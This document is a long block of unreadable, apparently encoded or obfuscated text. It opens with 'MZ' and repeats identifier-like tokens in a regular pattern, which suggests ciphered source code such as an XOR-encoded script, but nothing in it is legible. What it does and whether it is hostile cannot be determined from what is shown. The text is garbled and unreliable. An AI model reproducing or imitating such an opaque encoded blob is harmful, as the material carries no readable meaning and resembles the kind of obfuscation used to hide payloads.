MZKJMQKIKOWS[L]5TFSQ[UUFPLZOO]ZZSGMJW~}lo~kwEFRTLZZP[K5VY]]W	SFT[SO[QS]]W	SFT[SO[QSTFSQ[UUFEFRTLZZP[KKIKOWS[L]MZKJMQ5MZKJMQKIKOWS[L]5B5YJQ\KVPQI`UOMU	
OFN[VVRLXYOW5D5VYVH`INEO^FN]EX
VRLXYOWCCVRLXYOWMZKJMQVRLXYOW5RURMZLVT]XJIV[JMHEZQKGGTGGVRLXYOW]]W	SFT[SO[QS	EFRTLZZP[K5RURMZLVT]XJIV[JMHEZQKGGTGGRURMZLVT]XJIEFRTLZZP[KVH`INEO^FN]EX5VY]]W	SFT[SO[QSRURMZLVT]XJIRURMZLVT]XJI]]W	SFT[SO[QS	]]W	SFT[SO[QSRURMZLVT]XJI5555VYVXM][PQ]Y\LRURMZLVT]XJIRURMZLVT]XJIVRLXYOWXIZXXZX^FEW
owo`vqk`r~gowo`vqk`r~g]YLLNEJQJ`XIZXXZX^FEW
5VYH]MRSHU\[MNIGRURMZLVT]XJID55RURMZLVT]XJIV[JMHEZQKGGTGGRURMZLVT]XJIEFRTLZZP[K	]]W	SFT[SO[QS555RURMZLVT]XJIV[JMHEZQKGGTGGRURMZLVT]XJIVXM][PQ]Y\LVXM][PQ]Y\L5VYVXM][PQ]Y\LRURMZLVT]XJIRURMZLVT]XJI]]W	SFT[SO[QS	EFRTLZZP[KRURMZLVT]XJI5B55MZKJMQ]]W	SFT[SO[QSRURMZLVT]XJI RURMZLVT]XJIVRLXYOW55B5YJQ\KVPQE]JJG
SSVRLXYOW5D5VYVH`INEO^FN]EXVRLXYOWCC[ZYVQZ[]]W	SFT[SO[QS
	
MZKJMQY^SLZ5VYVH`INEO^FN]EXVXM][PQ]Y\LVRLXYOWMZKJMQKMJZ5555NFHSGLJHQ[RGTPLZOO]ZZSGMJW~}lo~kw]]W	SFT[SO[QS
G	G5VY]]W	SFT[SO[QSEFRTLZZP[K	VRLXYOW]P
NT^ED5YPMZ^\W]P
NT^Edb^LS^HXQPOFD5VYVH`INEO^FN]EXS^HXQPOF
NFHSGLJHQ[RGTMZKJMQKMJZ5B555B5`[[EFRTLZZP[KVXM][PQ]Y\L	
~}lo~kwEFRTLZZP[K5VY]]W	SFT[SO[QSEFRTLZZP[KVRLXYOW`[RD5holO^\ZM}SP\T\JLKPRVEZMKM^QLOPMK55YPMZ^\W`[Rdb^LTGZROKJ[FRD5VYTGZROKJ[FR`[[MZKJMQKMJZ5B5B5MZKJMQY^SLZ555B5YJQ\KVPQWG[`HHH\UU]F]JRLN55D5VYVLLZK`xzkdEFRTLZZP[KbCCVXM][PQ]Y\L`xzkdVXM][PQ]Y\LbCCVXM][PQ]Y\LVH`INEO^FN]EX
MZKJMQ5Z`SYXIK^`JXZK`POKVPQVH`INEO^FN]EX^MM^F5VYVH`INEO^FN]EXZ`SYXIK^`JMZKJMQ5SOU^P	SLKMVQX`xzkdVH`INEO^FN]EXb5MYKIT[FLWG^MM^F5VYVLLZKZ`SYXIK^`JdKbMYKIT[FLWGdbLKMVQXZ`SYXIK^`JdKb5VYVLLZKZ`SYXIK^`JdVH`INEO^FN]EX	b]]W	SFT[SO[QSZ`SYXIK^`JdEFRTLZZP[K	bD5YPMZ^\WZ`SYXIK^`JdEFRTLZZP[K	b^LWKXSJFUNY\D555VY]]W	SFT[SO[QSWKXSJFUNY\VLLZKWKXSJFUNY\dKbMYKIT[FLWGdbLKMVQXWKXSJFUNY\dKb5B5B5IJSTVYEKNXEI^Y^SLZ5YPMZ^\WMYKIT[FLWG^L\MWGQRKKYDNVXZGQLowo`r~upm`izmlvpqIHW^]XKNNVXZGQL
5VY\MWGQRKKY\PQKVQJZ5IJSTVYEKNXEI^]]W	SFT[SO[QS]]W	SFT[SO[QS W^LW`ZNJ^SL\MWGQRKKYSOU^P	S\MWGQRKKYSOU^P	S5VYIJSTVYEKNXEI^]MZ^T5B5[ZOMPIVLVPQL\WZ[JSZM55VYIJSTVYEKNXEI^MZKJMQ5555VYEFRTLZZP[KEFRTLZZP[K
D5555EFRTLZZP[K
YJQ\KVPQJLZSOU^P	SD5Z\WPcQl|tSOU^P	SVXM][PQ]Y\L5B55B5B5YJQ\KVPQI^WYY
\SQ`[JPSSLL5D5VYEFRTLZZP[K
EFRTLZZP[K
MZKJMQY^SLZ555IU
LRQ	YOXZK`POKVPQEFRTLZZP[K	
5555VY]]W	SFT[SO[QSIU
LRQ	YOCCVXM][PQ]Y\LIU
LRQ	YOVXM][PQ]Y\L	MZKJMQY^SLZ5LPQVNF`ZLRUIVQKVH`INEO^FN]EXIU
LRQ	YOa5VYLPQVNF`ZLRUIVH`INEO^FN]EXLPQVNF`ZLRUI	
	MZKJMQY^SLZ5MZKJMQKMJZ5B5YJQ\KVPQQ\`PJPK^
^EVQSGTU\ZJE
LJZPLW]V^T5D5rZR\^\WZ[^[^OKZMJQSP^[H^KZMR^MT55VYEFRTLZZP[K
VH`INEO^FN]EX		CC]]W	SFT[SO[QSVH`INEO^FN]EX
MZKJMQY^SLZ55VYI^WYY
\SQ`[JPSSLLMZKJMQKMJZ5Z`SYXIK^`JXZK`POKVPQEFRTLZZP[K^MM^F5VYVH`INEO^FN]EXZ`SYXIK^`JZ`SYXIK^`J^MM^F5VYVLLZKZ`SYXIK^`Jd]]W	SFT[SO[QSbCC]]W	SFT[SO[QSZ`SYXIK^`JdEFRTLZZP[KbD5555HUQ[PLOMO^MM^F555VYVLLZKZ`SYXIK^`JdKbZ`SYXIK^`JdObZ`SYXIK^`Jd]bD5OMPIVLVPQLKMPQXQPRVQ^SKFOZ55HUQ[PLOMOdVXM][PQ]Y\L	
LKMVQXZ`SYXIK^`JdObb^MM^FKLKMVQXZ`SYXIK^`JdKbOLKMVQXZ`SYXIK^`JdOb]LKMVQXZ`SYXIK^`Jd]b]]W	SFT[SO[QSVLLZKZ`SYXIK^`JdVH`INEO^FN]EXb VQKZ`SYXIK^`Jd]]W	SFT[SO[QSbVXM][PQ]Y\L]]W	SFT[SO[QSQ5B5Z`SYXIK^`J^MM^FVXM][PQ]Y\LHUQ[PLOMO5B5YI^VQSFLU]]W	SFT[SO[QS	
QSGTU\Z55VYVLLZKZ`SYXIK^`JdEFRTLZZP[KbdYI^VQSFLUbD5Z`SYXIK^`JdEFRTLZZP[KbdYI^VQSFLUbdVXM][PQ]Y\Lb]]W	SFT[SO[QS5555Z`SYXIK^`Jd]]W	SFT[SO[QSbdYI^VQSFLUbdVH`INEO^FN]EXb555Z`SYXIK^`JdVXM][PQ]Y\LbdYI^VQSFLUbdQbJE
LJZPLW]V^T 5VYL]NY]EJ\QQ
ILGUVGOZ`SYXIK^`JdEFRTLZZP[KbdYI^VQSFLUbd]bJE
LJZPLW]V^TD5PTG]`[M\TJL[^FSJVH`INEO^FN]EXVXM][PQ]Y\L
5MZKJMQY^SLZ5B55BZSLZD5MOTSTJ\LHRKKYPFNI]Q]XV5TLFWYOEEEST[UMOTSTJ\L]]W	SFT[SO[QS	PLZOO]ZZSGMJWQSGTU\ZVXM][PQ]Y\L5VYL]NY]EJ\QQ
ILGUVGOTLFWYOEEEST[UJE
LJZPLW]V^TD5PTG]`[M\TJL[^FSJ]]W	SFT[SO[QSEFRTLZZP[K5555MZKJMQY^SLZ5555B5Z`SYXIK^`JdVXM][PQ]Y\LbdYI^VQSFLUb^MM^FKZGG	\WXNQQGXa	OQSGTU\Z]TLFWYOEEEST[UVXM][PQ]Y\LVH`INEO^FN]EXEFRTLZZP[KQJE
LJZPLW]V^T 55B5HWVSZVXM][PQ]Y\LZ`SYXIK^`JdVH`INEO^FN]EXbD5YFHZNNM^LYNGQJSS5555W	UEL]E\ZJMPQJSS555YPMZ^\WZ`SYXIK^`JdVXM][PQ]Y\Lb^LNK^G]NQQJ	QNRF	UZSPND555VYW	UEL]E\ZJMPQJSSCCVQKRF	UZSPNdEFRTLZZP[KbW	UEL]E\ZJMPDE\NQETY]GZ[GPNP[``QWIE\NQETY]5555W	UEL]E\ZJMPVQKRF	UZSPNd]]W	SFT[SO[QSb5YFHZNNM^LYNGNK^G]NQQJ	QN55B5B5VYYFHZNNM^LYNGQJSS]MZ^T5VFSMLJMN\IFZNQZ`SYXIK^`JdVH`INEO^FN]EXbdYFHZNNM^LYNGbd]b5JQLZKZ`SYXIK^`Jd]]W	SFT[SO[QSbdYFHZNNM^LYNGb5B55JO[^KZ`POKVPQEFRTLZZP[KZ`SYXIK^`JVXM][PQ]Y\L5VH`INEO^FN]EX
EFRTLZZP[K5MZKJMQKMJZ5B555YJQ\KVPQV[WWQLFJO\T\RSURU\O	[XY5D5555V[KUMISHUKQEFEFRTLZZP[K
URU\O	[XY^MM^FVXM][PQ]Y\L
EFRTLZZP[K	Y^SLZVXM][PQ]Y\LKMJZVXM][PQ]Y\L	VXM][PQ]Y\L^MM^FEFRTLZZP[KEFRTLZZP[KVH`INEO^FN]EXEFRTLZZP[K
5VYEFRTLZZP[KEFRTLZZP[K
VL`HO`ZMMPMV[KUMISHUKQEFMZKJMQ^MM^FY^SLZ5K]R
KFPJS\OEFRTLZZP[K]]W	SFT[SO[QS
 VQKHO`MZRPKZ`MZKMVZIZ`MZLOPQLZ`\P[ZV[KUMISHUKQEF5MZKJMQ^MM^FK]R
KFPJS\OK]R
KFPJS\O]]W	SFT[SO[QS
EFRTLZZP[K
 LKMVQXHO`MZRPKZ`MZKMVZIZ`]P[FV[KUMISHUKQEF5B5YJQ\KVPQIY[\R^\[ZOQ`R	IKWKXSJFUNY\5D5PS^HZH[\VH`INEO^FN]EX
WKXSJFUNY\d]bYGM	JW
^NO[Z\UOWO[YGM	JW55VYVH`INEO^FN]EXPS^HZH[\MZKJMQY^SLZ5VYPS^HZH[\D5VYZROKFWKXSJFUNY\dQbMZKJMQY^SLZ5V\XTNRTVZNWVXM][PQ]Y\L

WKXSJFUNY\dOb5VYV\XTNRTVZNWDRTYEY]Oowo`vqk`r~gowo`vqk`r~g]M	`]IUQGRTYEY]O
5NNKZM`SOUHJYLELIV\ZWKXSJFUNY\dOb5V\XTNRTVZNWVFSMLJMN\IFZNQWKXSJFUNY\dOb5B5VYEFRTLZZP[K
VH`INEO^FN]EXPO\^\WZ`VQI^SV[^KZWKXSJFUNY\dObKMJZ5MZKJMQV\XTNRTVZNW[\OL
NIWUowo`r~upm`izmlvpqMYUQZL[\OL
NIWU5B5VYL]NY]EJ\QQ
ILGUVGOWKXSJFUNY\dObPS^HZH[\MZKJMQY^SLZ55VY]]W	SFT[SO[QS
VH`INEO^FN]EXPO\^\WZ`VQI^SV[^KZWKXSJFUNY\dObKMJZ555MZKJMQKMJZ5B555YJQ\KVPQQJF\TP^`P[F]Q5D5VY]]W	SFT[SO[QS
EFRTLZZP[K
	MZKJMQ5Z`SYXIK^`JXZK`POKVPQEFRTLZZP[K^MM^F555VYVH`INEO^FN]EXZ`SYXIK^`JMZKJMQ5VYVLLZKZ`SYXIK^`JdVH`INEO^FN]EXbCCVXM][PQ]Y\LZ`SYXIK^`JdEFRTLZZP[K
bD5HUQ[PLOMO^MM^F5VYVLLZKZ`SYXIK^`JdKbZ`SYXIK^`JdObZ`SYXIK^`Jd]bD5555HUQ[PLOMOd]]W	SFT[SO[QS	
LKMVQXZ`SYXIK^`JdObb^MM^FKLKMVQXZ`SYXIK^`JdKbOLKMVQXZ`SYXIK^`JdOb]LKMVQXZ`SYXIK^`Jd]b]]W	SFT[SO[QSVLLZKZ`SYXIK^`Jd]]W	SFT[SO[QS
b VQKZ`SYXIK^`Jd]]W	SFT[SO[QS
bEFRTLZZP[KEFRTLZZP[K5B5Z`SYXIK^`J^MM^F]]W	SFT[SO[QS
HUQ[PLOMOOY	T[IR	X\XE]LOY	T[IR	5B5VYZROKFZ`SYXIK^`JdEFRTLZZP[K
bD5[ZSZKZ`POKVPQ]]W	SFT[SO[QS5MZKJMQ^
L
`JKHL	GSLUGHLGH^
L
`JKHL	5B5LK^KV\QKJ
T	FGY^SLZ55VYQKJ
T	FGMZKJMQ55QKJ
T	FGKMJZ5VYVH`INEO^FN]EX
VXM][PQ]Y\L
VH`INEO^FN]EX
5ZSLZVYVXM][PQ]Y\L
EFRTLZZP[K	VH`INEO^FN]EX	5VYEFRTLZZP[K
EFRTLZZP[K	VXM][PQ]Y\L	KMJZ5VYVH`INEO^FN]EX
VH`INEO^FN]EX	CCEFRTLZZP[K
]]W	SFT[SO[QSMZKJMQ5PVPNTRQTTMKWPRZ`JMS55H`VEGL	
XVH`INEO^FN]EX
EFRTLZZP[K		 HO`SPXVQ`JMSPVPNTRQTTMKVXM][PQ]Y\L	
5X]		GMZNIM\FY^SLZ5FNP[`KHRKMJZ5UZKQ	S`NNT
5YPMZ^\WZ`SYXIK^`JdVH`INEO^FN]EX
b^LYI^VQSFLUWKXSJFUNY\D5VY]]W	SFT[SO[QSWKXSJFUNY\CCZROKFWKXSJFUNY\dKbCCZROKFWKXSJFUNY\dObCCZROKFWKXSJFUNY\d]bD5JQLZKZ`SYXIK^`JdVXM][PQ]Y\L
bdYI^VQSFLUb5X]		GMZNIM\FKMJZ5\PQKVQJZ5B5VYVH`INEO^FN]EX		VQKWKXSJFUNY\d]]W	SFT[SO[QS
b	CCVQKWKXSJFUNY\dEFRTLZZP[KbD555PTG]`[M\TJL[^FSJEFRTLZZP[KVXM][PQ]Y\L	]]W	SFT[SO[QS		WKXSJFUNY\dOb5VFSMLJMN\IFZNQWKXSJFUNY\d]b5JQLZKZ`SYXIK^`Jd]]W	SFT[SO[QS
bdYI^VQSFLUb5X]		GMZNIM\FKMJZ5\PQKVQJZ5B5VYUZKQ	S`NNT
]MZ^T5UZKQ	S`NNT
5]UG^Y`	VM	^^Y]]W	SFT[SO[QS	]]W	SFT[SO[QS	WKXSJFUNY\dKbVH`INEO^FN]EXEFRTLZZP[KGYYG
	^Y
		5SVLKK]R
KFPJS\OWQRF]K]`LGYSLV[WWQLFJO\T\RSPVPNTRQTTMK]UG^Y`	VM	^^Y5VYK]R
KFPJS\OFNP[`KHRY^SLZ5VYK]R
KFPJS\OEFRTLZZP[K]]W	SFT[SO[QSEFRTLZZP[K5VYK]R
KFPJS\OD555SVLKK]R
KFPJS\OWQRF]K]`LGYSLV[WWQLFJO\T\RSPVPNTRQTTMK]UG^Y`	VM	^^Y555VYK]R
KFPJS\OFNP[`KHRY^SLZ5555B5VYK]R
KFPJS\OD5Z`SYXIK^`JdEFRTLZZP[K
bdYI^VQSFLUbd]]W	SFT[SO[QSb5X]		GMZNIM\FKMJZ5\PQKVQJZ5555B5VYK]R
KFPJS\O		D5VYIY[\R^\[ZOQ`R	IKWKXSJFUNY\D5PTG]`[M\TJL[^FSJVXM][PQ]Y\LVXM][PQ]Y\LVH`INEO^FN]EX		WKXSJFUNY\dOb5VFSMLJMN\IFZNQWKXSJFUNY\d]b5555JQLZKZ`SYXIK^`Jd]]W	SFT[SO[QSbdYI^VQSFLUb5BZSLZD555Z`SYXIK^`JdVXM][PQ]Y\LbdYI^VQSFLUbdEFRTLZZP[Kb5B5X]		GMZNIM\FKMJZ5\PQKVQJZ5B5VY]]W	SFT[SO[QSWQRF]K]`LGYSLVXM][PQ]Y\L
WKXSJFUNY\dKb]]W	SFT[SO[QS	Y^SLZD5VFSMLJMN\IFZNQWKXSJFUNY\d]b5JQLZKZ`SYXIK^`JdEFRTLZZP[KbdYI^VQSFLUb5X]		GMZNIM\FKMJZ5\PQKVQJZ55B5SVLK`]I
VEM	NM`FHYLGZSV[WWQLFJO\T\RSH`VEGL	
XVXM][PQ]Y\LH`VEGL	
X Y^SLZ  VXM][PQ]Y\L]]W	SFT[SO[QS	WKXSJFUNY\dKbVXM][PQ]Y\L]]W	SFT[SO[QS



	5VY`]I
VEM	FNP[`KHRY^SLZ555VY`]I
VEM	D5VYIY[\R^\[ZOQ`R	IKWKXSJFUNY\D5hok^X|SPJ[S^EFLVQXSZKPQ555PTG]`[M\TJL[^FSJ]]W	SFT[SO[QS]]W	SFT[SO[QS]]W	SFT[SO[QS		WKXSJFUNY\dOb5555VFSMLJMN\IFZNQWKXSJFUNY\d]b5JQLZKZ`SYXIK^`JdVH`INEO^FN]EXbdYI^VQSFLUb55BZSLZD5Z`SYXIK^`Jd]]W	SFT[SO[QSbdYI^VQSFLUbdVH`INEO^FN]EXb5B5X]		GMZNIM\FKMJZ55\PQKVQJZ555B5VYVXM][PQ]Y\LNM`FHYLGZS]]W	SFT[SO[QSNM`FHYLGZS]]W	SFT[SO[QS
WKXSJFUNY\dKbEFRTLZZP[K	Y^SLZD5VFSMLJMN\IFZNQWKXSJFUNY\d]b5JQLZKZ`SYXIK^`JdVH`INEO^FN]EXbdYI^VQSFLUb5X]		GMZNIM\FKMJZ5555\PQKVQJZ5B5Z`SYXIK^`JdVXM][PQ]Y\LbdYI^VQSFLUbdVH`INEO^FN]EXb5X]		GMZNIM\FKMJZ5B5VYFNP[`KHRX]		GMZNIM\FZROKFZ`SYXIK^`Jd]]W	SFT[SO[QSbDPOYNVFHS\RWowo`r~upm`izmlvpqT`QZFY`POYNVFHS\RW555\^KTVPL
Y^SLZ5YPMZ^\WZ`SYXIK^`JdVH`INEO^FN]EXb^LUWMW
OO^ND5^\\JRJS^KZSZ^TF]J\TZKYPMho}SP\Ti^MV^KVPQL55VYVQKUWMW
OO^NdVXM][PQ]Y\LbD5\^KTVPL
KMJZPSVTMTSTQHM\Z`E]
PSVTMTSTQH5]MZ^T5B5B555VY\^KTVPL
D5JO[^KZ`POKVPQVXM][PQ]Y\L	
VXM][PQ]Y\LVXM][PQ]Y\LEFRTLZZP[K555PTG]`[M\TJL[^FSJEFRTLZZP[KVH`INEO^FN]EX5YPMZ^\WZ`SYXIK^`Jd]]W	SFT[SO[QSb^LNK^G]NQQJ	QNUWMW
OO^ND5VFSMLJMN\IFZNQUWMW
OO^Nd]b5JQLZKZ`SYXIK^`JdEFRTLZZP[KbdNK^G]NQQJ	QNb555B5555B55BZSLZVYFNP[`KHRD5honJZMFsPPOLM\LZK[ZL\MVOKPM55OOY
Y\FLPEHXZK`POKVPQ]]W	SFT[SO[QS	
5VYVXM][PQ]Y\L
OOY
Y\FLPEHCCVXM][PQ]Y\L	OOY
Y\FLPEHVXM][PQ]Y\L
JO[^KZ`POKVPQ]]W	SFT[SO[QS]]W	SFT[SO[QSVXM][PQ]Y\LEFRTLZZP[K5B5VYZROKFZ`SYXIK^`JdVXM][PQ]Y\Lb[ZSZKZ`POKVPQVH`INEO^FN]EX5ZSLZVYX]		GMZNIM\FJO[^KZ`POKVPQEFRTLZZP[KZ`SYXIK^`J]]W	SFT[SO[QS5B5YJQ\KVPQYV^^TLQQ[NIGKKITLVRLXYOW55D5MZKJMQVH`INEO^FN]EXVRLXYOW]]W	SFT[SO[QSVRLXYOWEFRTLZZP[KY^SLZCC]]W	SFT[SO[QSVRLXYOWVH`INEO^FN]EXY^SLZCCEFRTLZZP[KVRLXYOWVH`INEO^FN]EX

Y^SLZCC]]W	SFT[SO[QSVRLXYOWVXM][PQ]Y\LY^SLZCCVH`INEO^FN]EXVRLXYOWVH`INEO^FN]EX
Y^SLZCC]]W	SFT[SO[QSVRLXYOW]]W	SFT[SO[QS	Y^SLZ5B5YJQ\KVPQZIHR
[`^R\Q]V`FEZ[FRVRLXYOW5D5VYYV^^TLQQ[NIGKKITLVRLXYOWMZKJMQY^SLZ5VYH]MRSHU\[MNIGVRLXYOWMZKJMQKMJZ5VYVH`INEO^FN]EXVH`INEO^FN]EXVRLXYOWIU
LRQ	YOD5555YPMZ^\WIU
LRQ	YOdb^LRF	UZSPND5VYIZMLVPQ`\PRO^MZRF	UZSPNHX]T^EKEHX	P^Q^	HYKMZKJMQKMJZ5B5MZKJMQY^SLZ5B5MZKJMQKMJZ5B5YJQ\KVPQOS`QQQL	HQRELJKYS]Y^ERQVMP5D5VY]]W	SFT[SO[QS

YS]Y^ERQVMPCCEFRTLZZP[K			YS]Y^ERQVMPMZKJMQ5WWRSSRFXKKZPVXM][PQ]Y\L
	YS]Y^ERQVMP55VYWWRSSRFXKKZPMZKJMQ5VYWWRSSRFXKKZP
		D5LHSUUP\VWGWIVXM][PQ]Y\L
YS]Y^ERQVMPY^SLZQJSS	

5VYYV^^TLQQ[NIGKKITLLHSUUP\VWGWIMZKJMQ5VYJLXGNTX^\ZXMOFUXVXSYS]Y^ERQVMPY^SLZD5PTG]`[M\TJL[^FSJEFRTLZZP[KVH`INEO^FN]EXVXM][PQ]Y\L		YS]Y^ERQVMP5MZKJMQ5B5VH`INEO^FN]EXYS]Y^ERQVMP OWOcQ5VY]]W	SFT[SO[QSVH`INEO^FN]EXPO\^\WZ`VQI^SV[^KZYS]Y^ERQVMPKMJZ5MZKJMQ5B5VYWWRSSRFXKKZP	
				D5L\^NYLKMVQXVH`INEO^FN]EX
YS]Y^ERQVMPY^SLZQJSSG[G\5RNSKWKP	WWRSSRFXKKZP
	 LKMVQXEFRTLZZP[K
YS]Y^ERQVMPY^SLZQJSSWWRSSRFXKKZP5[JTJEQ^\U^YHLL\^NYRNSKWKP	5VY[JTJEQ^\U^YHL]]W	SFT[SO[QSEFRTLZZP[K[JTJEQ^\U^YHLRFENOKGH\KGD5FO
JOZRWSVIY^SLZ5YPMZ^\WRFENOKGH\KGdb^LT
H[\F[D5VYIZMLVPQ`\PRO^MZT
H[\F[HX]T^EKEHX	P^Q^	HYKD5FO
JOZRWSVIKMJZ5]MZ^T5B5B5VYFO
JOZRWSVIMZKJMQ5B5B5VRLXYOW]]W	SFT[SO[QSYS]Y^ERQVMP555VYVH`INEO^FN]EXVRLXYOWEFRTLZZP[KVRLXYOW	VRLXYOWUH`VLVJVW
UTUZVRLXYOW5VYVH`INEO^FN]EXVRLXYOWMZKJMQ5VYZIHR
[`^R\Q]V`FEZ[FRVRLXYOWMZKJMQ5IZZ`TVZVPI\T

YS]Y^ERQVMPVRLXYOW5B5YJQ\KVPQIZZ`TVZVPI\T

YS]Y^ERQVMPVRLXYOW5D555RURMZLVT]XJI]]W	SFT[SO[QS]]W	SFT[SO[QSVRLXYOW5VYVH`INEO^FN]EX
RURMZLVT]XJICCEFRTLZZP[KRURMZLVT]XJICCVH`INEO^FN]EXRURMZLVT]XJI]]W	SFT[SO[QS	RURMZLVT]XJI OWOcQ5VYEFRTLZZP[KRURMZLVT]XJI	IE[
QM[VN\`]\E]JRURMZLVT]XJIRURMZLVT]XJI OWOcQOTHZOH\Fowo`vqk`r~gowo`vqk`r~gOMR	EZHM^OTHZOH\F
5`[R^GYG^LM]]YVSZOZMRLYS]Y^ERQVMP555`[R^GYG^LM]]`[R^GYG^LM]]Y^SLZ `[R^GYG^LM]]5LXFU\NLPVXM][PQ]Y\L	YS]Y^ERQVMP5SHH	PO`W^	MVXM][PQ]Y\L	]]W	SFT[SO[QS	YS]Y^ERQVMPEFRTLZZP[K5VYSHH	PO`W^	MY^SLZMZKJMQ5VYEFRTLZZP[KSHH	PO`W^	MRURMZLVT]XJIVXM][PQ]Y\LRURMZLVT]XJID5]]W	SFT[SO[QSSHH	PO`W^	M5MZKJMQ5B5]]W	SFT[SO[QS	SHH	PO`W^	M`[R^GYG^LM]]5VY]]W	SFT[SO[QSSHH	PO`W^	MYS]Y^ERQVMPD5VXM][PQ]Y\LSHH	PO`W^	M5MZKJMQ5B5VYLXFU\NLPVXM][PQ]Y\LYS]Y^ERQVMPLXFU\NLP5VY]]W	SFT[SO[QSVH`INEO^FN]EXPO\^\WZ`VQI^SV[^KZYS]Y^ERQVMPKMJZ5B555YJQ\KVPQVJNTUNFHN		LUEKIKOWS[L]5D555VYVH`INEO^FN]EXKIKOWS[L]MZKJMQ5VYVH`INEO^FN]EX]]W	SFT[SO[QSKIKOWS[L]]X`I	`MUK`PD5VLXMN]]GO]X`I	`MUK`Pdb55555WWRSSRFXKKZP]]W	SFT[SO[QS

VLXMN]]GO VXM][PQ]Y\L
	VLXMN]]GO5VYWWRSSRFXKKZPCCWWRSSRFXKKZPG[G[CCWWRSSRFXKKZP
	D5NJ^QKVYFPIZMWZ^[55VYWWRSSRFXKKZP
D555XMGYFU^
^QIUVH`INEO^FN]EXVLXMN]]GO5VYVXM][PQ]Y\LXMGYFU^
^QIUXMGYFU^
^QIUVLXMN]]GO5XMGYFU^
^QIU]]W	SFT[SO[QSccXMGYFU^
^QIU5S\EYW
HO	GJTY^SLZ5Y[ZOPH`SJV[]^MM^F[ZYVQZ[]]W	SFT[SO[QS EFRTLZZP[K~}lo~kwEFRTLZZP[K[ZYVQZ[EFRTLZZP[K		 EFRTLZZP[Kho`|pqkzqk`{vmVXM][PQ]Y\L5555YPMZ^\WY[ZOPH`SJV[]^LFE^HXQZIQM[I[D5FE^HXQZIQM[I[VXM][PQ]Y\LccFE^HXQZIQM[I[5VYFE^HXQZIQM[I[EFRTLZZP[KXMGYFU^
^QIUFE^HXQZIQM[I[D5S\EYW
HO	GJTKMJZ5]MZ^T5B5555B5VYS\EYW
HO	GJTJLXGNTX^\ZXMOFUXVXSVLXMN]]GOY^SLZD5EFRTLZZP[KVLXMN]]GO5VXM][PQ]Y\LVXM][PQ]Y\LVLXMN]]GOEFRTLZZP[KVXM][PQ]Y\L		VLXMN]]GOEFRTLZZP[K	5BZSLZD5PTG]`[M\TJL[^FSJEFRTLZZP[KVXM][PQ]Y\L]]W	SFT[SO[QS		VLXMN]]GO5B5B555MZKJMQ5555B5B5LZMV^SVEZQPMR^SKJR]SVQXHVQ[PH55MZKJMQKIKOWS[L]5B555YJQ\KVPQQ
H\YI
FJ]
5D55LK^KV\VLXMN]]GOQJSS5VYVLXMN]]GOQJSSD5OUYP\PUYJ
	W[IFOTK	
H^IT[I5VLXMN]]GOEFRTLZZP[KOUYP\PUYJ
	VLLZKOUYP\PUYJ
	dVH`INEO^FN]EX	

bEFRTLZZP[KLKMVQXOUYP\PUYJ
	dEFRTLZZP[K
bVXM][PQ]Y\L	5B5MZKJMQVLXMN]]GO5B5555YJQ\KVPQE\G^X	WFIPVSZ5D5VY[ZYVQZ[VXM][PQ]Y\LMZKJMQ55[ZNRP^YRR]O~}lo~kwVXM][PQ]Y\L

5VYVH`INEO^FN]EX

[ZNRP^YRR]OD5V\NF\GQX^FTHMHVXM][PQ]Y\L~}lo~kwVXM][PQ]Y\L5VYVH`INEO^FN]EXV\NF\GQX^FTHMH[ZNRP^YRR]OV\NF\GQX^FTHMH555B5VY]]W	SFT[SO[QS[ZNRP^YRR]OCC]]W	SFT[SO[QS[ZNRP^YRR]OMZKJMQ5XMGYFU^
^QIUEFRTLZZP[K[ZNRP^YRR]O5555VYVH`INEO^FN]EXXMGYFU^
^QIUXMGYFU^
^QIUEFRTLZZP[KXMGYFU^
^QIU[ZNRP^YRR]OXMGYFU^
^QIU5VYVH`INEO^FN]EX[ZNRP^YRR]OG	

G[^^MZKJMQ5VRLXYOWVXM][PQ]Y\L
[ZNRP^YRR]O5VYVH`INEO^FN]EX	VRLXYOWCCVRLXYOWMZKJMQ5MEF
FLUTYEV\VH`INEO^FN]EXVRLXYOW]]W	SFT[SO[QSY^SLZCCVH`INEO^FN]EXVRLXYOWEFRTLZZP[KY^SLZ5U`Z]TEGIIXHNY^SLZ5VYEFRTLZZP[KVRLXYOWVH`INEO^FN]EXY^SLZD5LKMZ^RVQX^M]VKM^KPM55VYZROKFxsp}~sldVXM][PQ]Y\LbD5U`Z]TEGIIXHNKMJZ5BZSLZD555WJRXR
SK\HWR]]W	SFT[SO[QSVXM][PQ]Y\L EFRTLZZP[KVH`INEO^FN]EX5555VYVH`INEO^FN]EX
WJRXR
SK\HWRCC]]W	SFT[SO[QS	WJRXR
SK\HWRU`Z]TEGIIXHNKMJZ55B5B5555W\WJO
FVTW``Y^SLZ55^MWY\Q\
TY^SLZ5VYVXM][PQ]Y\LVXM][PQ]Y\LVRLXYOW[ZYVQZ[VH`INEO^FN]EX		D5`^\ho`|pqkzqk`{vmVH`INEO^FN]EX5555VYVH`INEO^FN]EX`^\D5PJRESVP	`LKMVQXVH`INEO^FN]EX`^\Y^SLZQJSSG^]^G
	555VYVH`INEO^FN]EXPJRESVP	`]]W	SFT[SO[QSY^SLZW\WJO
FVTW``KMJZ5B5BZSLZVY5VXM][PQ]Y\LVRLXYOW]]W	SFT[SO[QS	Y^SLZ5VXM][PQ]Y\LVH`INEO^FN]EXVRLXYOW55D55^MWY\Q\
TKMJZ5B5YJTRFJHPY^SLZ5VYQ
H\YI
FJ]
DEWNV]FWQ
WUNVZTMPQMEEWNV]FWQ
5555VY5EFRTLZZP[K]]W	SFT[SO[QSVRLXYOW5CCVXM][PQ]Y\LVXM][PQ]Y\LVRLXYOW5CC]]W	SFT[SO[QSEFRTLZZP[K
VRLXYOW5YJTRFJHPKMJZ5B5VYMEF
FLUTYEV\U`Z]TEGIIXHNW\WJO
FVTW``YJTRFJHP^MWY\Q\
TMZKJMQ5555^MRYENLVW5RURMZLVT]XJIVRLXYOW5VYMEF
FLUTYEV\D5VYEFRTLZZP[KVH`INEO^FN]EX	VRLXYOWO[OF]V]WEPQT^MRYENLVWVXM][PQ]Y\LcQO[OF]V]WEPQTdb5RURMZLVT]XJIVH`INEO^FN]EX]]W	SFT[SO[QSVRLXYOW555VY]]W	SFT[SO[QS	RURMZLVT]XJIMZKJMQ5VYEFRTLZZP[K]]W	SFT[SO[QS
RURMZLVT]XJISFK
TEL
]RIG^MRYENLVWcQEFRTLZZP[KcQSFK
TEL
]RIGdb5RURMZLVT]XJI]]W	SFT[SO[QS
EFRTLZZP[K
